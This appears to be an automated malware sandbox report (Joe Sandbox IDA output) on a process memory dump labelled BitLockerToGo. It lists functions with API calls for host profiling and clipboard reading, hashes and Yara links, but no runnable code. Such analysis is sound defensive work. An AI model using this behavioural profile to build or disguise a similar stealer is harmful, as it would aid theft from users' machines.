Instruction ID: e77fc135ad70ed6736d1295220b367ee2e65166797322382e6457787232dfc05
Opcode Fuzzy Hash: 432f6f01f6f39532e5583c1ea13b867eeb044dab6d0921c5a80d4da759cddaac
Instruction Fuzzy Hash: C3C109B2A083418BD728CF28C8A17AFB7E2AFD5304F19893DD49987351DB389C45CB46

Function 004229CD Relevance: 11.5, APIs: 3, Strings: 3, Instructions: 1008
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7x~, xrefs: 004234C1
"0B, xrefs: 00423016
`*B, xrefs: 00422AAE

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "0B$7x~$`*B
API String ID: 0-767839351
Opcode ID: bfd9e8ac35199f97e1d7b9b7a72bdacfbe17c41595a0c7f5bb3de10ab4316b55
Instruction ID: 9fd70d4789ae2a743fdbd81f1d1a9eea778115e9b5f68926e692af45083946f2
Opcode Fuzzy Hash: bfd9e8ac35199f97e1d7b9b7a72bdacfbe17c41595a0c7f5bb3de10ab4316b55
Instruction Fuzzy Hash: B4726576A08211CFD714CF68EC817AAB7B2FF89314F09897CE945AB391D7389901CB95

Function 00432FE0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433029
GetSystemMetrics.USER32 ref: 00433039

Strings

Y8C, xrefs: 004331E2
, xrefs: 00433126
)6C, xrefs: 00433203
C7C, xrefs: 004331B6

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID: $)6C$C7C$Y8C
API String ID: 4116985748-1654261340
Opcode ID: 5c122eb9c0143f1b49a1e8f4bb7b68f4f6dba1365be09ef1174e0909afcf80c5
Instruction ID: 4b006a6d5d8b16d53f58adea831d835725ce84f357d2a915258799e4b83f44bd
Opcode Fuzzy Hash: 5c122eb9c0143f1b49a1e8f4bb7b68f4f6dba1365be09ef1174e0909afcf80c5
Instruction Fuzzy Hash: 5E817CB45193808FE360DF25C58879EBBE0BB85348F508D2EE4D88B350DBB89549CF5A

Function 00408640 Relevance: 7.7, APIs: 5, Instructions: 220
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408664
GetCurrentThreadId.KERNEL32 ref: 0040866E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 0040874C
GetForegroundWindow.USER32 ref: 00408803
ExitProcess.KERNEL32 ref: 004088E8

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 10b0eff6467ca18bcb2542539502c240d5f51aa7d1eb33122d427624a9865ed6
Instruction ID: cffc6beeb204386c5c3c11e80dbd3dd055112d37bec62ae1e5896589e5666a59
Opcode Fuzzy Hash: 10b0eff6467ca18bcb2542539502c240d5f51aa7d1eb33122d427624a9865ed6
Instruction Fuzzy Hash: 0F613977B447084BD718AFA9CD8635AB6D29B84710F0E813DA594DB3D2ED7CDC009789

Function 0042BE8A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042C358

Strings

BVAI, xrefs: 0042C52A

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: BVAI
API String ID: 3960555810-2651495128
Opcode ID: 4253ba6b8e191a9b3dfd493019a759a11414da6281240eda0209736fa868e564
Instruction ID: ce2e31214bed253c0b38068d6f273c2badb2212a27c3daf9020c2c42f253850c
Opcode Fuzzy Hash: 4253ba6b8e191a9b3dfd493019a759a11414da6281240eda0209736fa868e564
Instruction Fuzzy Hash: 66C1373160C3908BC725CF2994903AFBFE1AF9A304F5849AED4C9D7352D7798806CB5A

Function 0042C26C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 337COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042C358

Strings

BVAI, xrefs: 0042C52A

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: BVAI
API String ID: 3960555810-2651495128
Opcode ID: 0a1af248bc305b655ffc1925307390703c8d3f98765630551724a65d64f27431
Instruction ID: 4ac38620278a99acf54b81f63bd20ff9ec3c0600e4476075f1787c1a2961d72f
Opcode Fuzzy Hash: 0a1af248bc305b655ffc1925307390703c8d3f98765630551724a65d64f27431
Instruction Fuzzy Hash: 9FA1397160C3908BC725CF2994903EFBBE1AF9B304F58496ED4C997342D7798906CB5A

Function 0042C282 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 331COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042C358

Strings

BVAI, xrefs: 0042C52A

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: BVAI
API String ID: 3960555810-2651495128
Opcode ID: e77831ec273681899d33ca959c897361b3e2c49e039e5f7857a3c08ac24816b6
Instruction ID: b3ae04337b81b82226eeb8f92f7c3334391f9750b5f809a1d1c02d35e42eb35b
Opcode Fuzzy Hash: e77831ec273681899d33ca959c897361b3e2c49e039e5f7857a3c08ac24816b6
Instruction Fuzzy Hash: E6A1377160C3908BC7258F2994903EFBFE1AF9A304F58496ED4C997352D7798806CB5A

Function 0043D910 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004409B8,00000002,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043D93E

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0042B842 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042B875
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042B924

Strings

KHGN, xrefs: 0042B89B

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: KHGN
API String ID: 2904949787-1032087821
Opcode ID: a5ac04ea9e230b6cf3948a8bb0ad38f6cf67380a18d58efd62aba391322e45a0
Instruction ID: 6cc2bcf1cdf43af400e598cc500c9cf08bcf6da0c1c09473a882a53858423e11
Opcode Fuzzy Hash: a5ac04ea9e230b6cf3948a8bb0ad38f6cf67380a18d58efd62aba391322e45a0
Instruction Fuzzy Hash: 3021D17014C2858EDB218F35A860BFB7FE4DB9B344F58486ED0C9C3292CB39444A9B56

Function 0042B840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042B875
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042B924

Strings

KHGN, xrefs: 0042B89B

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: KHGN
API String ID: 2904949787-1032087821
Opcode ID: 212394f20273f3accb8bcfc3a76da6794d37ce9a05dd71fc593275c859e58dc8
Instruction ID: 50f42b0a951807a88e86a22aae57dbd367c2f88d39f0ae760fbcdf6f8fc845ea
Opcode Fuzzy Hash: 212394f20273f3accb8bcfc3a76da6794d37ce9a05dd71fc593275c859e58dc8
Instruction Fuzzy Hash: 001123B01482858FD7219F35E860BEB7FE4EB9B344F54482DD0C9C3251CB39484A9B92

Function 0042B94D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,11780A54,00000100), ref: 0042BA54

Strings

bC, xrefs: 0042B992

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID: bC
API String ID: 3545744682-4190571504
Opcode ID: 1c1f9430f5f3ed989211da8c26079c9bdb17ff075c2385f7f8c8286cc26a0825
Instruction ID: e82d825c06ad02e345faf7a0e59537a249da3b56fbe03ec142442aa4babbea04
Opcode Fuzzy Hash: 1c1f9430f5f3ed989211da8c26079c9bdb17ff075c2385f7f8c8286cc26a0825
Instruction Fuzzy Hash: 5421053560D3E18BD7358F2594943FABBE1EF92300F59885EC8CA9B341CA794409CB96

Function 0042B948 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,11780A54,00000100), ref: 0042BA54

Strings

bC, xrefs: 0042B992

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID: bC
API String ID: 3545744682-4190571504
Opcode ID: b23871937633dcdb680c72e96aa5e58338da0fb26077f9adf21ebf2712c0bdc7
Instruction ID: 8a9ff360a492162640ec0ee52e10ad36b0c35468f5dd3550f358dda6bb680e87
Opcode Fuzzy Hash: b23871937633dcdb680c72e96aa5e58338da0fb26077f9adf21ebf2712c0bdc7
Instruction Fuzzy Hash: 6B21257660D3A0CBD734CF2094843BAB7E2EFC6300F55895EC8CA9B340CA745806CB96

Function 0042B7AD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042B924

Strings

KHGN, xrefs: 0042B89B

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID: KHGN
API String ID: 3545744682-1032087821
Opcode ID: a8e5dbbfad83db7d0e3a07a32037c9f22d764ac268d76ac342ec4c4dcc5ae117
Instruction ID: 800fda513f984b05936c8cd62631b8339e5399499a0172a9c9d32c48e16ec2f1
Opcode Fuzzy Hash: a8e5dbbfad83db7d0e3a07a32037c9f22d764ac268d76ac342ec4c4dcc5ae117
Instruction Fuzzy Hash: 4F1129B41483858FD7219F35A8A0BFB7FE4DB9B344F54482DD0C9C3241CB39444A9B92

Function 00409D5E Relevance: 1.6, APIs: 1, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000070), ref: 00409E1A

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: eab48f6b71edd1e16cfb7ea63385da2791f2a8b668b563faa9f76ea0567173db
Instruction ID: 794dd10beed9ab1fdd81d0f6796807d90850f10cc366af128ac51e95daa83683
Opcode Fuzzy Hash: eab48f6b71edd1e16cfb7ea63385da2791f2a8b668b563faa9f76ea0567173db
Instruction Fuzzy Hash: C3110879A842508FC7188F25D8816A97FF1FB55325B19D0ADD491EB363C23CD846CB58

Function 0043D880 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41a367038b1e6d5b58ec4f6eb87556ec12abeaa4ee6647b370c191bf25488890
Instruction ID: 0f926294dc6f60f2445246b0eb10c1f08d66fb03fcf9e8185527a5568484abe7
Opcode Fuzzy Hash: 41a367038b1e6d5b58ec4f6eb87556ec12abeaa4ee6647b370c191bf25488890
Instruction Fuzzy Hash: 3AF0F075518302EFD7242F29BC49B17367CEF8B306F04183AF50191062DB35EC059769

Function 00436805 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436831

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 8b12c406fd4ead613e65197ffde3b6cb62fb5e3e077589beab3fbb298c2b36b5
Instruction ID: c1e6da90ff38b23c1098b9489220249bba1124fa0f23aac35cb26dcf4f2101a0
Opcode Fuzzy Hash: 8b12c406fd4ead613e65197ffde3b6cb62fb5e3e077589beab3fbb298c2b36b5
Instruction Fuzzy Hash: 31110434908686CFC719DB3888512A8BFB27F6B304F05839CC48D873A2DB35A954CF22

Function 0042DE0C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042DE5A

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 8f7cb6371b4caf162f46c922943df2f09589c22896729318bee07ad160b03f59
Instruction ID: eb4d188fa3b2335ac580bcc65c14ba02f7638069044a76079abd789a2c862b60
Opcode Fuzzy Hash: 8f7cb6371b4caf162f46c922943df2f09589c22896729318bee07ad160b03f59
Instruction Fuzzy Hash: B8F0E2B56097028FE301DF25C55874BBBE6BBC8314F25891CE0A44B751C7B9AA898FC2

Function 004316B2 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004316F7

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 2c655fd4df2f0de855ff40a5662be0aaac86da99f90f76558f58a47c1ac7514f
Instruction ID: 6701a38e9beb56b1775abd9ce08e5b6b7616d16b42eebe8ce345441057ef8d6a
Opcode Fuzzy Hash: 2c655fd4df2f0de855ff40a5662be0aaac86da99f90f76558f58a47c1ac7514f
Instruction Fuzzy Hash: BBF074B46093029FE354DF69D5A871BBBE1EB88304F11881DE5958B390D7B59648CF82

Function 0040C660 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C673

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 413737427438556d5fa7e0556733acb83c5b4eac6897b874756f3227497564db
Instruction ID: a6b7534e426cd29cb0e1e31caee4a3ce77516a25d8fe1d9d75e6d40f069d1f8c
Opcode Fuzzy Hash: 413737427438556d5fa7e0556733acb83c5b4eac6897b874756f3227497564db
Instruction Fuzzy Hash: CBE0C236E506442BD6046B1CDC47F8A3A1AC3C3726F4C8234A550CA2C5E938B910C15E

Function 0040C69E Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C6B0

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 4b317f61b4ed6c220f3feb26dab4a859da40cf1549f870816065b6807c59d919
Instruction ID: ca338ed000cba09c134a9ecbf479b52692d88648cc8417c010cf118771328cdf
Opcode Fuzzy Hash: 4b317f61b4ed6c220f3feb26dab4a859da40cf1549f870816065b6807c59d919
Instruction Fuzzy Hash: 7DE05E39BD47406BFA385B08DC13F4422129386F21F388224B310EE7D9C8A8B501420C

Function 0043E6A5 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043E6A5

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: b48e2f79c62e4811e334b2433c8222d9ec698c1a03c7fb9f9c38adda7ff18471
Instruction ID: eb5cd64e0cd090f695d5de900f82e4eebcc02a3ea27d0b2ee91ac1c0039229b8
Opcode Fuzzy Hash: b48e2f79c62e4811e334b2433c8222d9ec698c1a03c7fb9f9c38adda7ff18471
Instruction Fuzzy Hash: 2BC012EC9084808BC248EB12EC4252A3B5EAA8A209B049038D80B02B23E9306805968A

Function 0043BCB0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,0043D8F6,?,?,?,00000000,0040B40D,00000000,00000000), ref: 0043BCCE

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 85ba4f6bb3df290ded2e1b23f993eb3f5d5984f7020326030569786283a59457
Instruction ID: 6c6d5fcf156c4dc9181b7fd85535f9ef3000d663acf77e4cc9904710c0b9b036
Opcode Fuzzy Hash: 85ba4f6bb3df290ded2e1b23f993eb3f5d5984f7020326030569786283a59457
Instruction Fuzzy Hash: AED01231405122EBC7241F18FD06B873B64DF0A321F030472B8006B071C664EC519AD8

Function 0043BC90 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,AC36FDA1,00408797,2D2C008A), ref: 0043BCA0

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b3415836e398222536a54de0d850da02531c529426d1bee4289f1127ff9466bd
Instruction ID: 28c2b2b5d3f1f64fcd0aca9316f6b1f640d95bbb8965ee836e226e74b875d2a4
Opcode Fuzzy Hash: b3415836e398222536a54de0d850da02531c529426d1bee4289f1127ff9466bd
Instruction Fuzzy Hash: DBC09B31445121ABC6142B15FD05FC67F64DF45355F114066B40467073C770AC41D6D8

Non-executed Functions

Function 004111E9 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 499COMMON

Download Yara Rule

Strings

?, xrefs: 004113E9
(, xrefs: 004116CF
u, xrefs: 004115C5
f, xrefs: 0041175C
}, xrefs: 00411535

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ($?$f$u$}
API String ID: 0-3561895482
Opcode ID: 034806d3cc72206703f70723c548ba8ea1711a660e6f03707adc4ef9bcdfc4e3
Instruction ID: 86e3bcde5e116734b7454ff0522683787c5f8ed0e2df54b8e8f55331097e388c
Opcode Fuzzy Hash: 034806d3cc72206703f70723c548ba8ea1711a660e6f03707adc4ef9bcdfc4e3
Instruction Fuzzy Hash: B212A371A0D7808BD324DF39C4813AFBBE1ABD5314F198A2FE5D997391D63889418B47

Function 004237D0 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 004238A8
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,6A195A3A), ref: 0042394C

Strings

n`fn, xrefs: 004253D5
QVTH, xrefs: 004253AC
52, xrefs: 00423856
]VWC, xrefs: 004253A4
lnmh, xrefs: 004253BF

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 52$QVTH$]VWC$lnmh$n`fn
API String ID: 237503144-3964871452
Opcode ID: f42c4c6db4055bdca425bc9ce26f544c9401cc625d8d536d0403780354460537
Instruction ID: 3b8b4807c8318ae77837d9a5b010143032c821d60a60d601bdcb57454f2de873
Opcode Fuzzy Hash: f42c4c6db4055bdca425bc9ce26f544c9401cc625d8d536d0403780354460537
Instruction Fuzzy Hash: 2FE1457160C3518FD720CF68D8917ABBBE1EB85314F444A3EF99587381D3B89906CB9A

Function 00438040 Relevance: 10.2, Strings: 8, Instructions: 194COMMON

Download Yara Rule

Strings

<, xrefs: 004380E7
&, xrefs: 004380E2
9, xrefs: 004380EC
b, xrefs: 00438166
W, xrefs: 0043815C
%, xrefs: 004380F1
T, xrefs: 0043816B
R, xrefs: 00438161

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %$&$9$<$R$T$W$b
API String ID: 0-3780034300
Opcode ID: 1461b86cfa4d3767ede56ba77eb50cf2841e928c2e72e09b72740e390ede6aa9
Instruction ID: 26f6469176a43b47c6e288f4693b2497bb05b8a0a051c4656522d96c8d770806
Opcode Fuzzy Hash: 1461b86cfa4d3767ede56ba77eb50cf2841e928c2e72e09b72740e390ede6aa9
Instruction Fuzzy Hash: 10719F2250C7C28AD3128A7C484425BEFD25BE7234F2D9FADF4E5873D2C56AC50A9367

Function 00432D70 Relevance: 9.2, APIs: 6, Instructions: 179clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00432D80
GetClipboardData.USER32 ref: 00432DA1
GlobalLock.KERNEL32 ref: 00432DBA
CloseClipboard.USER32 ref: 00432FC8

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$CloseDataGlobalLockOpen
String ID:
API String ID: 1494355150-0
Opcode ID: 07f84929871a5c64471c921f03cbf394aaa8fd21632cc30f04fff1ccf22f28ed
Instruction ID: 693f7ef225a156252cf7c29a72516dce540735802ffb423964d4f98d76e8ff95
Opcode Fuzzy Hash: 07f84929871a5c64471c921f03cbf394aaa8fd21632cc30f04fff1ccf22f28ed
Instruction Fuzzy Hash: 5A510572A187614EC310DF7C894521FBAE15BC9224F098B3EE8E4973D1C678890A87D7

Function 00428F6C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 00428DFB
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 00428F3C

Strings

rM, xrefs: 00428E90
zM, xrefs: 00428E89

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: rM$zM
API String ID: 237503144-2784921869
